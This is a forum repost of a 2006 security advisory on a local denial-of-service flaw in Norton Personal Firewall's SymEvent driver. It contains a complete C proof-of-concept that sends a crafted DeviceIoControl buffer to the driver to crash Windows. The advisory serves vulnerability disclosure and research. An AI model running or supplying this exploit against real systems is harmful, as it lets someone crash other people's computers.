发新话题
打印

[转载]Symantec Norton个人防火墙SymEvent驱动本地拒绝服务漏洞

[转载]Symantec Norton个人防火墙SymEvent驱动本地拒绝服务漏洞

信息来源:绿盟科技

Symantec Norton个人防火墙SymEvent驱动本地拒绝服务漏洞

发布日期:2006-09-16
更新日期:2006-09-18

受影响系统:
Symantec Norton Personal Firewall 2006 9.1.0.33
描述:
--------------------------------------------------------------------------------
BUGTRAQ  ID: 20051

Symantec Norton个人防火墙是非常流行的防火墙软件。

Symantec Norton个人防火墙的实现上存在漏洞,本地攻击者可能利用此漏洞对系统执行拒绝服务攻击。

Norton没有充分地保护 \Device\SymEvent 驱动,也没有验证其输入缓冲区,允许Everyone向这个驱动中写入数据,可能导致驱动执行无效的内存操作以及整个操作系统崩溃。

<*来源:David Matousek (david@matousec.com
  
  链接:http://secunia.com/advisories/21938/
      http://www.matousec.com/info/adv ... t-driver-input-buff
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*

Testing program for Insufficient validation of "SymEvent" driver input buffer (BTP00011P002NF)

Usage:
prog
  (the program is executed without special arguments)

Description:
This program uses standard Windows API CreateFile to open "SymEvent" driver and using DeviceIoControl it sends
malicious buffer to the driver that crashs the system.

Test:
Running the testing program.

*/

#include <stdio.h>
#include <windows.h>

void about(void)
{
  printf("Testing program for Insufficient validation of \"SymEvent\" driver input buffer (BTP00011P002NF)\n");
  printf("Windows Personal Firewall analysis project\n");
  printf("Copyright 2006 by Matousec - Transparent security\n");
  printf("http://www.matousec.com/\n\n");
  return;
}

void usage(void)
{
  printf("Usage: test\n"
      "  (the program is executed without special arguments)\n");
  return;
}

void print_last_error()
{
  LPTSTR buf;
  DWORD code=GetLastError();
  if (FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,code,0,(LPTSTR)&buf,0,NULL))
  {
   fprintf(stderr,"Error code: %d\n",code);
   fprintf(stderr,"Error message: %s",buf);
   LocalFree(buf);
  } else fprintf(stderr,"Unable to format error message for code %d.\n",code);
  return;
}


int main(int argc,char **argv)
{
  about();

  if (argc!=1)
  {
   usage();
   return 1;
  }

  HANDLE file=CreateFile("\\\\.\\Global\\SymEvent",GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ | FILE_SHARE_WRITE,
                 NULL,OPEN_EXISTING,0,NULL);
  if (file!=INVALID_HANDLE_VALUE)
  {
   srand(GetTickCount());
   char bufout[4],bufin[20]="\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1\1";
   DWORD retlen;
   DeviceIoControl(file,0x00220404,(PVOID)bufin,20,(PVOID)bufout,4,&retlen,NULL);
  } else
  {
   fprintf(stderr,"Unable to open SymEvent device.\n");
   print_last_error();
   fprintf(stderr,"\n");
  }
  

  printf("\nTEST FAILED!\n");
  return 1;
}

建议:
--------------------------------------------------------------------------------
厂商补丁:

Symantec
--------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.symantec.com/sabu/nis/npf/

TOP

发新话题